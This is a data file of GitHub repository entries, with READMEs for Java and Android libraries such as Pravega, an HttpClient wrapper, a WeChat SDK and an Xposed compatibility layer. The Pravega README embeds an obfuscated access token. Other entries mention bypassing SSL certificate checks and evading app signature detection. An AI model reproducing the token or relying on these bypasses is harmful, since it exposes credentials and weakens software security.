OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
0
pravega/pravega
Pravega - Streaming as a new software defined storage primitive
data-ingestion distributed-storage real-time-data streaming streaming-data
<!-- Copyright Pravega Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> # Pravega [![Build Status](https://github.com/pravega/pravega/workflows/build/badge.svg?branch=master)](https://github.com/pravega/pravega/actions?query=branch%3Amaster) [![codecov](https://codecov.io/gh/pravega/pravega/branch/master/graph/badge.svg?token=6xOvaR0sIa)](https://codecov.io/gh/pravega/pravega) [![License](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://www.apache.org/licenses/LICENSE-2.0) [![Version](https://img.shields.io/github/release/pravega/pravega.svg)](https://github.com/pravega/pravega/releases) [![CII Best Practices](https://bestpractices.coreinfrastructure.org/projects/4178/badge)](https://bestpractices.coreinfrastructure.org/projects/4178) Pravega is an open source distributed storage service implementing **Streams**. It offers Stream as the main primitive for the foundation of reliable storage systems: a *high-performance, durable, elastic, and unlimited append-only byte stream with strict ordering and consistency*. To learn more about Pravega, visit https://pravega.io ## Prerequisites - Java 11+ In spite of the requirements of using JDK 11+ to build this project, `client` artifacts (and its dependencies) must be compatible with a *Java 8* runtime. All other components are built and ran using JDK11+. The `clientJavaVersion` project property determines the version used to build the client (defaults to *8*). ## Building Pravega Checkout the source code: ``` git clone https://github.com/pravega/pravega.git cd pravega ``` Build the pravega distribution: ``` ./gradlew distribution ``` Install pravega jar files into the local maven repository. This is handy for running the `pravega-samples` locally against a custom version of pravega. ``` ./gradlew install ``` Running unit tests: ``` ./gradlew test ``` ## Setting up your IDE Pravega uses [Project Lombok](https://projectlombok.org/) so you should ensure you have your IDE setup with the required plugins. Using IntelliJ is recommended. To import the source into IntelliJ: 1. Import the project directory into IntelliJ IDE. It will automatically detect the gradle project and import things correctly. 2. Enable `Annotation Processing` by going to `Build, Execution, Deployment` -> `Compiler` > `Annotation Processors` and checking 'Enable annotation processing'. 3. Install the `Lombok Plugin`. This can be found in `Preferences` -> `Plugins`. Restart your IDE. 4. Pravega should now compile properly. For eclipse, you can generate eclipse project files by running `./gradlew eclipse`. <sup> Note: Some unit tests will create (and delete) a significant amount of files. For improved performance on Windows machines, be sure to add the appropriate 'Microsoft Defender' exclusion.</sup> ## Releases The latest pravega releases can be found on the [Github Release](https://github.com/pravega/pravega/releases) project page. ## Snapshot artifacts All snapshot artifacts from `master` and `release` branches are available in GitHub Packages Registry Add the following to your repositories list and import dependencies as usual. ``` maven { url "https://maven.pkg.github.com/pravega/pravega" credentials { username = "pravega-public" password = "\u0067\u0068\u0070\u005F\u0048\u0034\u0046\u0079\u0047\u005A\u0031\u006B\u0056\u0030\u0051\u0070\u006B\u0079\u0058\u006D\u0035\u0063\u0034\u0055\u0033\u006E\u0032\u0065\u0078\u0039\u0032\u0046\u006E\u0071\u0033\u0053\u0046\u0076\u005A\u0049" } } ``` Note GitHub Packages requires authentication to download packages thus credentials above are required. Use the provided password as is, please do not decode it. If you need a dedicated token to use in your repository (and GitHub Actions) please reach out to us. As alternative option you can use JitPack (https://jitpack.io/#pravega/pravega) to get pre-release artifacts. ## Quick Start Read [Getting Started](documentation/src/docs/getting-started/quick-start.md) page for more information, and also visit [sample-apps](https://github.com/pravega/pravega-samples) repo for more applications. ## Running Pravega Pravega can be installed locally or in a distributed environment. The installation and deployment of pravega is covered in the [Running Pravega](documentation/src/docs/deployment/deployment.md) guide. ## Support Don’t hesitate to ask! Contact the developers and community on [slack](https://pravega-io.slack.com/) ([signup](https://join.slack.com/t/pravega-io/shared_invite/zt-245sgpw47-vbLBLiLfBdW9TlKemXkUnw)) if you need any help. Open an issue if you found a bug on [Github Issues](https://github.com/pravega/pravega/issues). ## Documentation The Pravega documentation is hosted on the website: <https://pravega.io/docs/latest> or in the [documentation](documentation/src/docs) directory of the source code. ## Contributing Become one of the contributors! We thrive to build a welcoming and open community for anyone who wants to use the system or contribute to it. [Here](documentation/src/docs/contributing.md) we describe how to contribute to Pravega! You can see the roadmap document [here](documentation/src/docs/roadmap.md). ## About Pravega is 100% open source and community-driven. All components are available under [Apache 2 License](https://www.apache.org/licenses/LICENSE-2.0.html) on GitHub.
0
Arronlong/httpclientutil
该项目基于HttpClient-4.4.1封装的一个工具类。提供了更为简单的GET、POST及上传下载等功能。同时支持插件式配置Http-Header(包含自定义header)、配置SSL和Proxy等。
null
# httpclientutil (QQ群[548452686](http://shang.qq.com/wpa/qunwpa?idkey=4fae0ff61968c0a25a08318ad42cfff7509542c26a1894706a9b7d1845b0bf68 "httpclientUtil交流") ![image](http://pub.idqqimg.com/wpa/images/group.png)) 该项目基于HttpClient-4.4.1封装的一个工具类,支持插件式配置Header、插件式配置httpclient对象,这样就可以方便地自定义header信息、配置ssl、配置proxy等。 ## Maven坐标: ``` <!-- https://mvnrepository.com/artifact/com.arronlong/httpclientutil --> <dependency> <groupId>com.arronlong</groupId> <artifactId>httpclientutil</artifactId> <version>1.0.4</version> </dependency> ``` ## 简单Demo 在test包里还有各种测试[demo](http://mfxuan.free.800m.net/demo.png),各测试类的源码在src/test/java/com/httpclient/test包路径下。 ``` public static void main(String[] args) throws HttpProcessException, FileNotFoundException { String url = "https://github.com/Arronlong/httpclientutil"; //最简单的使用: String html = HttpClientUtil.get(HttpConfig.custom().url(url)); System.out.println(html); //--------------------------------- // 【详细说明】 //-------------------------------- //插件式配置Header(各种header信息、自定义header) Header[] headers = HttpHeader.custom() .userAgent("javacl") .other("customer", "自定义") .build(); //插件式配置生成HttpClient时所需参数(超时、连接池、ssl、重试) HCB hcb = HCB.custom() .timeout(1000) //超时 .pool(100, 10) //启用连接池,每个路由最大创建10个链接,总连接数限制为100个 .sslpv(SSLProtocolVersion.TLSv1_2) //设置ssl版本号,默认SSLv3,也可以调用sslpv("TLSv1.2") .ssl() //https,支持自定义ssl证书路径和密码,ssl(String keyStorePath, String keyStorepass) .retry(5) //重试5次 ; HttpClient client = hcb.build(); Map<String, Object> map = new HashMap<String, Object>(); map.put("key1", "value1"); map.put("key2", "value2"); //插件式配置请求参数(网址、请求参数、编码、client) HttpConfig config = HttpConfig.custom() .headers(headers) //设置headers,不需要时则无需设置 .url(url) //设置请求的url .map(map) //设置请求参数,没有则无需设置 .encoding("utf-8") //设置请求和返回编码,默认就是Charset.defaultCharset() .client(client) //如果只是简单使用,无需设置,会自动获取默认的一个client对象 //.inenc("utf-8") //设置请求编码,如果请求返回一直,不需要再单独设置 //.inenc("utf-8") //设置返回编码,如果请求返回一直,不需要再单独设置 //.json("json字符串") //json方式请求的话,就不用设置map方法,当然二者可以共用。 //.context(HttpCookies.custom().getContext()) //设置cookie,用于完成携带cookie的操作 //.out(new FileOutputStream("保存地址")) //下载的话,设置这个方法,否则不要设置 //.files(new String[]{"d:/1.txt","d:/2.txt"}) //上传的话,传递文件路径,一般还需map配置,设置服务器保存路径 ; //使用方式: String result1 = HttpClientUtil.get(config); //get请求 String result2 = HttpClientUtil.post(config); //post请求 System.out.println(result1); System.out.println(result2); //HttpClientUtil.down(config); //下载,需要调用config.out(fileOutputStream对象) //HttpClientUtil.upload(config); //上传,需要调用config.files(文件路径数组) //如果指向看是否访问正常 //String result3 = HttpClientUtil.head(config); // 返回Http协议号+状态码 //int statusCode = HttpClientUtil.status(config);//返回状态码 //[新增方法]sendAndGetResp,可以返回原生的HttpResponse对象, //同时返回常用的几类对象:result、header、StatusLine、StatusCode HttpResult respResult = HttpClientUtil.sendAndGetResp(config); System.out.println("返回结果:\n"+respResult.getResult()); System.out.println("返回resp-header:"+respResult.getRespHeaders());//可以遍历 System.out.println("返回具体resp-header:"+respResult.getHeaders("Date")); System.out.println("返回StatusLine对象:"+respResult.getStatusLine()); System.out.println("返回StatusCode:"+respResult.getStatusCode()); System.out.println("返回HttpResponse对象)(可自行处理):"+respResult.getResp()); } ``` ![image](http://box.kancloud.cn/cover_2016-01-11_5693502e2de2_800x1068.jpg?imageMogr2/thumbnail/346x462!/interlace/1/quality/100)| 专栏创建者:[xiaoxian8023](http://blog.csdn.net/xiaoxian8023)<br/>创建时间:2015-11-16<br/>文章数:17篇<br/>[RSS订阅](http://blog.csdn.net/xiaoxian8023/rss/list)<br/> <br/>[轻松把玩HttpClient](http://blog.csdn.net/column/details/httpclient-arron.html)<br/>介绍如何使用HttpClient,通过一些简单示例,来帮助初学者快速入手。<br/>同时提供了一个非常强大的工具类,比现在网络上分享的都强大:<br/>支持插件式设置header、代理、ssl等配置信息,支持携带Cookie的操作,支持http的各种方法,支持上传、下载等功能。 ---|--- --- # 最新更新文章 ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之封装HttpClient工具类(九),添加多文件上传功能](http://blog.csdn.net/xiaoxian8023/article/details/53065507) ``` 在Git上有人给我提Issue,说怎么上传文件,其实我一开始就想上这个功能,不过这半年比较忙,所以一直耽搁了。 这次正好没什么任务了,赶紧完成这个功能。毕竟作为一款工具类,有基本的请求和下载功能,就差上... ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之封装HttpClient工具类(八),优化启用Http连接池策略](http://blog.csdn.net/xiaoxian8023/article/details/53064210) ``` 写了HttpClient工具类后,有人一直在问我怎么启用http连接池,其实我没考虑过这个问题难过。 不过闲暇的时候,突然间想起了这个问题,就想把这个问题搞一搞。 ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之封装HttpClient工具类(七),新增验证码识别功能](http://blog.csdn.net/xiaoxian8023/article/details/51606865) ``` 这个HttpClientUtil工具类分享在GitHub上已经半年多的时间了,并且得到了不小的关注,有25颗star,被fork了38次。 有了大家的鼓励,工具类一直也在完善中。最近比较忙,两个多月前的修改在今天刚修改测试完成,今天再次分享给大家。 验证码识别这项技术并不是本工具类的功能,而是通过一个开源的api来识别验证码的。 这里做了一个简单的封装,主要是用来解决登陆时的验证码的问题。... ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之封装HttpClient工具类(六),封装输入参数,简化工具类](http://blog.csdn.net/xiaoxian8023/article/details/50768320) ``` 在写这个工具类的时候发现传入的参数太多,以至于方法泛滥,只一个send方法就有30多个, 所以对工具类进行了优化,把输入参数封装在一个对象里,这样以后再扩展输入参数,直接修改这个类就ok了。 ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之封装HttpClient工具类(五),携带Cookie的请求](http://blog.csdn.net/xiaoxian8023/article/details/50474987) ``` 最近更新了一下HttpClientUtil工具类代码,主要是添加了一个参数HttpContext,这个是用来干嘛的呢? 其实是用来保存和传递Cookie所需要的。因为我们有很多时候都需要登录,然后才能请求一些想要的数据。 而在这以前使用HttpClientUtil工具类,还不能办到。现在更新了以后,终于可以了。 先说一下思路:本次的demo,就是获取csdn中的c币,要想获取c币,必须先登... ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpAsyncClient之模拟post请求示例](http://blog.csdn.net/xiaoxian8023/article/details/49949813) ``` 如果看到过我前些天写过的《轻松把玩HttpClient之模拟post请求示例》这篇文章,你再看本文就是小菜一碟了,如果你顺便懂一些NIO,基本上是毫无压力了。 因为HttpAsyncClient相对于HttpClient,就多了一个NIO,这也是为什么支持异步的原因。 不过我有一个疑问,虽说NIO是同步非阻塞IO,但是HttpAsyncClient提供了回调的机制, 这点儿跟netty很像,所以可以模拟... ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之封装HttpClient工具类(四),单线程调用及多线程批量调用测试](http://blog.csdn.net/xiaoxian8023/article/details/49910885) ``` 本文主要来分享一下该工具类的测试结果。工具类的整体源码不再单独分享,源码基本上都已经在文章中了。 开始我们的测试。单线程调用测试: public static void testOne() throws HttpProcessException{ System.out.println("--------简单方式调用(默认post)--------"); String url = "http://... ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之封装HttpClient工具类(三),插件式配置Header](http://blog.csdn.net/xiaoxian8023/article/details/49910127) ``` 上篇文章介绍了插件式配置HttpClient,本文将介绍插件式配置Header。为什么要配置header在前面已经提到了,还里再简单说一下, 要使用HttpClient模拟请求,去访问各种接口或者网站资源,都有可能有各种限制, 比如说java客户端模拟访问csdn博客,就必须设置User-Agent,否则就报错了。 还有各种其他情况,必须的设置一些特定的Header,才能请求成功,或者才能不出问题。好了... ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之封装HttpClient工具类(二),插件式配置HttpClient对象](http://blog.csdn.net/xiaoxian8023/article/details/49909359) ``` 上一篇文章中,简单分享一下封装HttpClient工具类的思路及部分代码,本文将分享如何实现插件式配置HttpClient对象。 如果你看过我前面的几篇关于HttpClient的文章或者官网示例,应该都知道HttpClient对象在创建时,都可以设置各种参数, 但是却没有简单的进行封装,比如对我来说比较重要的3个: 代理、ssl(包含绕过证书验证和自定义证书验证)、超时。还需要自己写。 所以这里我就简单封... ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之封装HttpClient工具类(一)(现有网上分享中的最强大的工具类)](http://blog.csdn.net/xiaoxian8023/article/details/49883113) ``` 搜了一下网络上别人封装的HttpClient,大部分特别简单,有一些看起来比较高级,但是用起来都不怎么好用。 调用关系不清楚,结构有点混乱。所以也就萌生了自己封装HttpClient工具类的想法。 要做就做最好的,本工具类支持插件式配置Header、插件式配置httpclient对象, 这样就可以方便地自定义header信息、配置ssl、配置proxy等。是不是觉得说的有点悬乎了,那就先看看调用吧:... ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之设置代理,可以访问FaceBook](http://blog.csdn.net/xiaoxian8023/article/details/49867257) ``` 前面的文章介绍了一些HttpClient的简单示例,本文继续采用示例的方式来演示HttpClient的功能。 在项目中我们可能会遇到这样的情况:为了保证系统的安全性,只允许使用特定的代理才可以访问, 而与这些系统使用HttpClient进行交互时,只能为其配置代理。 这里我们使用gogent代理访问脸书来模拟这种情况。现在在浏览器上访问是可以访问的:... ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之配置ssl,采用设置信任自签名证书实现https](http://blog.csdn.net/xiaoxian8023/article/details/49866397) ``` 在上篇文章《HttpClient配置ssl实现https简单示例——绕过证书验证》中简单分享了一下如何绕过证书验证。 如果你想用httpclient访问一个网站,但是对方的证书没有通过ca认证或者其他问题导致证书不被信任, 比如12306的证书就是这样的。所以对于这样的情况,你只能是选择绕过证书验证的方案了。 但是,如果是自己用jdk或者其他工具生成的证书,还是希望用其他方式认证自签名的证书,这篇文... ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之配置ssl,采用绕过证书验证实现https](http://blog.csdn.net/xiaoxian8023/article/details/49865335) ``` 上篇文章说道httpclient不能直接访问https的资源,这次就来模拟一下环境,然后配置https测试一下。 在前面的文章中,分享了一篇自己生成并在tomcat中配置ssl的文章《Tomcat配置SSL》,大家可以据此来在本地配置https。 我已经配置好了,效果是这样滴: 可以看到已经信任该证书(显示浅绿色小锁),浏览器可以正常访问。现在我们用代码测试一下: ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之模拟post请求示例](http://blog.csdn.net/xiaoxian8023/article/details/49863967) ``` HttpClient 是 Apache Jakarta Common 下的子项目,可以用来提供高效的、最新的、功能丰富的支持 HTTP 协议的客户端编程工具包,并且它支持 HTTP 协议最新的版本和建议。 许多需要后台模拟请求的系统或者框架都用的是httpclient。所以作为一个java开发人员,有必要学一学。 本文提供了一个简单的demo,供初学者参考。 ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [简单的利用UrlConnection,后台模拟http请求](http://blog.csdn.net/xiaoxian8023/article/details/49785417) ``` 这两天在整理看httpclient,然后想自己用UrlConnection后台模拟实现Http请求,于是一个简单的小例子就新鲜出炉了(支持代理哦): public class SimpleHttpTest { public static String send(String urlStr, Map map,String encoding){ String body=""; Strin... ```
0
nanchen2251/CompressHelper
:fire: 压缩文件,压缩图片,压缩Bitmap,Compress, CompressImage, CompressFile, CompressBitmap:https://github.com/nanchen2251/AiYaCompressHelper
compress compressed-files compresshelper compressimage file image
# AiYaCompressHelper 压缩,图片压缩,压缩Bitmap,Compress,CompressImage,CompressFile,CompressBitmap<br><br> 主要通过尺寸压缩和质量压缩,以达到清晰度最优,该项目参考了 [https://github.com/zetbaitsu/Compressor](https://github.com/zetbaitsu/Compressor) 的部分代码,且在基础上修正了部分 bug ## 效果图<br> ![](https://github.com/nanchen2251/CompressHelper/blob/master/111.png) #### ⊙开源不易,希望给个 star 或者 fork 奖励 #### ⊙拥抱开源:https://github.com/nanchen2251/ #### ⊙交流群(拒绝无脑问):118116509 <a target="_blank" href="//shang.qq.com/wpa/qunwpa?idkey=e6ad4af66393684e1d0c9441403b049d2d5670ec0ce9f72150e694cbb7c16b0a"><img border="0" src="http://pub.idqqimg.com/wpa/images/group.png" alt="Android神技侧漏交流群" title="Android神技侧漏交流群"></a>( 点击图标即可加入 )<br> ## 特点 1、支持压缩单张图片和多张图片<br> ## 使用方法 #### 1、添加依赖<br> ##### Step 1. Add it in your root build.gradle at the end of repositories: ```java allprojects { repositories { ... maven { url 'https://jitpack.io' } } } ``` ##### Step 2. Add the dependency ```java dependencies { implementation 'com.github.nanchen2251:CompressHelper:1.0.5' } ``` #### 2、在Activity里面使用<br> ```java   File newFile = CompressHelper.getDefault(this).compressToFile(oldFile); ``` #### 3、你也可以自定义属性 ```java   File newFile = new CompressHelper.Builder(this) .setMaxWidth(720) // 默认最大宽度为720 .setMaxHeight(960) // 默认最大高度为960 .setQuality(80) // 默认压缩质量为80    .setFileName(yourFileName) // 设置你需要修改的文件名                    .setCompressFormat(CompressFormat.JPEG) // 设置默认压缩为jpg格式 .setDestinationDirectoryPath(Environment.getExternalStoragePublicDirectory( Environment.DIRECTORY_PICTURES).getAbsolutePath()) .build() .compressToFile(oldFile); ``` 该项目参考了: * [https://github.com/zetbaitsu/Compressor](https://github.com/zetbaitsu/Compressor) * [https://github.com/Curzibn/Luban](https://github.com/Curzibn/Luban) ### 关于作者    南尘<br>    四川成都<br>    [其它开源](https://github.com/nanchen2251/)<br>    [个人博客](https://nanchen2251.github.io/)<br>    [简书](http://www.jianshu.com/u/f690947ed5a6)<br>    [博客园](http://www.cnblogs.com/liushilin/)<br>    交流群:118116509<br>    欢迎投稿(关注)我的唯一公众号,公众号搜索 nanchen 或者扫描下方二维码:<br>    ![](https://github.com/nanchen2251/Blogs/blob/master/images/nanchen12.jpg) #### 有码走遍天下 无码寸步难行(引自网络) > 1024 - 梦想,永不止步! 爱编程 不爱Bug 爱加班 不爱黑眼圈 固执 但不偏执 疯狂 但不疯癫 生活里的菜鸟 工作中的大神 身怀宝藏,一心憧憬星辰大海 追求极致,目标始于高山之巅 一群怀揣好奇,梦想改变世界的孩子 一群追日逐浪,正在改变世界的极客 你们用最美的语言,诠释着科技的力量 你们用极速的创新,引领着时代的变迁 ------至所有正在努力奋斗的程序猿们!加油!! ## Licenses ``` Copyright 2017 nanchen(刘世麟) Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ```
0
cundong/HeaderAndFooterRecyclerView
A RecyclerView solution, support addHeaderView、addFooterView
null
## HeaderAndFooterRecyclerView ## Introduction HeaderAndFooterRecyclerView is a RecyclerView solution that supports addHeaderView, addFooterView to a RecyclerView. Through this library, you can implement RecyclerView's Page Loading by dynamically modify the FooterView's State, such as "loading", "loading error", "loading success", "slipping to the bottom". ## How to Use It * Add HeaderView, FooterView ```java mHeaderAndFooterRecyclerViewAdapter = new HeaderAndFooterRecyclerViewAdapter(mDataAdapter); mRecyclerView.setAdapter(mHeaderAndFooterRecyclerViewAdapter); mRecyclerView.setLayoutManager(new LinearLayoutManager(this)); //add a HeaderView RecyclerViewUtils.setHeaderView(mRecyclerView, new SampleHeader(this)); //add a FooterView RecyclerViewUtils.setFooterView(mRecyclerView, new SampleFooter(this)); ``` * LinearLayout / GridLayout / StaggeredGridLayout layout of RecyclerView paging load ```java mRecyclerView.addOnScrollListener(mOnScrollListener); ``` ```java private EndlessRecyclerOnScrollListener mOnScrollListener = new EndlessRecyclerOnScrollListener() { @Override public void onLoadNextPage(View view) { super.onLoadNextPage(view); LoadingFooter.State state = RecyclerViewStateUtils.getFooterViewState(mRecyclerView); if(state == LoadingFooter.State.Loading) { Log.d("@Cundong", "the state is Loading, just wait.."); return; } mCurrentCounter = mDataList.size(); if (mCurrentCounter < TOTAL_COUNTER) { // loading more RecyclerViewStateUtils.setFooterViewState(EndlessLinearLayoutActivity.this, mRecyclerView, REQUEST_COUNT, LoadingFooter.State.Loading, null); requestData(); } else { //the end RecyclerViewStateUtils.setFooterViewState(EndlessLinearLayoutActivity.this, mRecyclerView, REQUEST_COUNT, LoadingFooter.State.TheEnd, null); } } }; ``` ## Attention If you have already added a HeaderView for RecyclerView by ```RecyclerViewUtils.setHeaderView(mRecyclerView, view);``` , then call the ViewHolder 's ```getAdapterPosition()```、```getLayoutPosition()```, ,the returned value will be affected by the addition of the HeaderView (the return position is the real position + headerCounter). Therefore, in this case, please use: ```RecyclerViewUtils.getAdapterPosition(mRecyclerView, ViewHolder.this)```, ```RecyclerViewUtils.getLayoutPosition(mRecyclerView, ViewHolder.this)```. ## Demo * Add HeaderView, FooterView ![Screenshots][1] * Support for ply loading of the LinearLayout layout RecyclerView ![Screenshots][2] * Support for paging loads of GridLayout layout RecyclerView ![Screenshots][3] * Supports paging loads of StaggeredGridLayout layout RecyclerView ![Screenshots][4] * The page load fails when the GridLayout layout is RecyclerView ![Screenshots][5] ## License > Copyright 2015 Cundong > > Licensed under the Apache License, Version 2.0 (the "License"); you > may not use this file except in compliance with the License. You may > obtain a copy of the License at > > http://www.apache.org/licenses/LICENSE-2.0 > > Unless required by applicable law or agreed to in writing, software > distributed under the License is distributed on an "AS IS" BASIS, > WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or > implied. See the License for the specific language governing > permissions and limitations under the License. [1]: https://raw.githubusercontent.com/cundong/HeaderAndFooterRecyclerView/master/art/art1.png [2]: https://raw.githubusercontent.com/cundong/HeaderAndFooterRecyclerView/master/art/art2.png [3]: https://raw.githubusercontent.com/cundong/HeaderAndFooterRecyclerView/master/art/art3.png [4]: https://raw.githubusercontent.com/cundong/HeaderAndFooterRecyclerView/master/art/art4.png [5]: https://raw.githubusercontent.com/cundong/HeaderAndFooterRecyclerView/master/art/art5.png
0
OpnTec/ots15-companion
Opentech Event app
null
# OpenTech summit 2015 app based on FOSSASIA companion-android Advanced native Android schedule browser application for the [FOSSASIA](http://fossasia.org/) conference in Singapore. This is build upon the [FOSDEM Companion For android](https://github.com/cbeyls/fosdem-companion-android). It uses loaders and fragments extensively and is backward compatible up to Android 2.1 thanks to the support library. To get more information and install the app, look at the [Google Play Store](https://play.google.com/store/apps/details?id=be.digitalia.fosdem) page. ## How to build All dependencies are defined in ```app/build.gradle```. Import the project in Android Studio or use Gradle in command line: ``` ./gradlew assembleRelease ``` The result apk file will be placed in ```app/build/outputs/apk/```. ####Build status [![Build Status](https://travis-ci.org/fossasia/ots15-companion.svg?branch=master)](https://travis-ci.org/fossasia/ots15-companion) ## Pending Task * Download schedule in a background thread * Notification for Bookmarked Events/Talks * Integrate Google+ login or any other mechanism to fetch user email address [TBD](https://github.com/fossasia/fossasia-companion-android/issues/68) * Integrate Google Maps ## License [Apache License, Version 2.0](http://www.apache.org/licenses/LICENSE-2.0) ## Used libraries * [Android Support Library](http://developer.android.com/tools/support-library/) by The Android Open Source Project * [ViewPagerIndicator](http://viewpagerindicator.com/) by Jake Wharton * [PhotoView](https://github.com/chrisbanes/PhotoView) by Chris Banes * [Volley Library](https://android.googlesource.com/platform/frameworks/volley) * [Snackbar Library](https://github.com/nispok/snackbar) by nispok ## Contributors * Christophe Beyls * Abhishek Batra * Manan Wason * Pratik Todi * Mario Behling * Tymon Radzik * Arnav Gupta
0
borball/weixin-sdk
微信公众平台(订阅号、服务号、企业号、小程序)、微信开放平台和微信支付 Java SDK
wechat-java wechat-sdk weixin weixin-java weixin-sdk
# 微信公众平台(服务号、订阅号、企业号、小程序)、微信开放平台和微信支付JAVA SDK [![Build Status](https://semaphoreci.com/api/v1/projects/5b0c7b61-9b88-4b88-95fa-ea6bbd11e495/617516/badge.svg)](https://semaphoreci.com/borball/weixin-sdk) [![](https://jitpack.io/v/borball/weixin-sdk.svg)](https://jitpack.io/#borball/weixin-sdk) [![Maven Central](https://maven-badges.herokuapp.com/maven-central/cn.com.riversoft/weixin-sdk/badge.svg)](https://maven-badges.herokuapp.com/maven-central/cn.com.riversoft/weixin-sdk) weixin-sdk 是对微信公众平台(订阅号、服务号、企业号、小程序)、微信开放平台和微信支付的JAVA版封装: - 服务号,订阅号: weixin-mp - 企业号: weixin-qydev - 开放平台: weixin-open - 支付: weixin-pay - 小程序: weixin-app [API使用指南](https://github.com/borball/weixin-sdk/wiki) [SDK DEMO](https://github.com/borball/weixin-sdk-demo) ## 如何获取 ### Maven - 服务号,订阅号: <dependency> <groupId>cn.com.riversoft</groupId> <artifactId>weixin-mp</artifactId> <version>${weixin-sdk.version}</version> </dependency> - 企业号: <dependency> <groupId>cn.com.riversoft</groupId> <artifactId>weixin-qydev</artifactId> <version>${weixin-sdk.version}</version> </dependency> - 开放平台: <dependency> <groupId>cn.com.riversoft</groupId> <artifactId>weixin-open</artifactId> <version>${weixin-sdk.version}</version> </dependency> - 支付: <dependency> <groupId>cn.com.riversoft</groupId> <artifactId>weixin-pay</artifactId> <version>${weixin-sdk.version}</version> </dependency> - 小程序: <dependency> <groupId>cn.com.riversoft</groupId> <artifactId>weixin-app</artifactId> <version>${weixin-sdk.version}</version> </dependency> 也可以直接从Maven中央仓库获取SNAPSHOT版本。 ### JitPack 或者使用:[JitPack](https://jitpack.io/#borball/weixin-sdk/),比如: <repositories> <repository> <id>jitpack.io</id> <url>https://jitpack.io</url> </repository> </repositories> <dependency> <groupId>com.github.borball.weixin-sdk</groupId> <artifactId>weixin-mp</artifactId> <version>${weixin-sdk.version}</version> </dependency>
0
android-hacker/exposed
A library to use Xposed without root or recovery(or modify system image etc..).
null
# 简介 exposed 致力于为App提供 Xposed 运行环境。基本思路是劫持APP进程启动的入口,加载 Xposed 插件以及 hook框架 [epic](https://github.com/tiann/epic) 。 exposed本质上是一个 Xposed 与 APP进程 之间的兼容层,它给Xposed模块提供运行环境(如插件加载、hook环境等)。 目前使用最广泛的实现是 VirtualXposed,它使用 [VirtualApp](https://github.com/asLody/VirtualApp) 来运行APP并提供进程入口劫持。但是,exposed 本身并不依赖双开宿主;甚至不需要双开。 另外,基于APP加固的思路,甚至直接修改APK,或者通过magisk注入进程的方式,都可以实现 Xposed。 目前有以下几种实现方式: - [VirtualXposed](https://github.com/android-hacker/VirtualXposed) :基于双开实现,通过 VirtualApp 运行目标APK,在进程启动入口加载 exposed。优势:免安装,无篡改签名问题。劣势:性能 & 稳定性受限于双开,无法与系统完全交互。 - [太极](https://www.coolapk.com/apk/me.weishu.exp):基于修改APK实现。在 Application 类的入口织入 exposed 入口代码,从而加载 exposed。优势:可以与系统完全交互,性能好。劣势:签名改变,虽有独特技术可以绕过所有检测,但是依然有风险。部分APP调用其他会检测签名,使得所有APP必须被“太极化”,风险极高。 - [太极·Magisk](https://mp.weixin.qq.com/s?__biz=MjM5Njg5ODU2NA==&tempkey=OTkwX0JJa0I4ZW9qcmd5bGlJSXlwQjBJOTZsWGc0TllULXVXdGVicTQxcWRyWE9McnZFQVozRGpNS21OaHEySDNHbFlfMUVudk9wbHo0akE4c29hOTZhNGs5UENXQlFISlFvQjZFSS1CT1dCa1hSZWt4XzFKNV9abEZITTJNOEJkVkotVEdrN2owcmxzeU9WVF9oaVUxdlJwd3pkcHZDWXFPOTFNVEhBeUF%2Bfg%3D%3D&chksm=25983cf012efb5e6ac3fe06bd73883139a89912fa37aee74f3b3baca9e358b2c41a260cee682#rd):通过 Magisk 修改系统文件,在 Zygote 进程启动的时候执行 exposed 入口代码,从而加载 exposed。优势:完全体,不存在上述所有问题。劣势:需要解锁Bootloader和刷机。 # 使用 Exposed 是一个library,是提供给开发者使用的;如果你需要在非ROOT环境下运行Xposed,请移步项目 [VAExposed](https://github.com/android-hacker/VAExposed) 如果需要在APP进程中中提供Xposed运行环境,在进程启动的入口,执行如下调用即可: ```java ExposedBridge.initOnce(context, applicationInfo, appClassLoader); ``` 同时,为了加载Xposed模块,需要在进程启动的时候执行模块加载: ```java ExposedBridge.loadModule(moduleApk, apkOdexDir, moduleLibDir, applicationInfo, appClassLoader); ```
0
jchambers/pushy
A Java library for sending APNs (iOS/macOS/Safari) push notifications
apns ios java macos notifications push-notifications safari
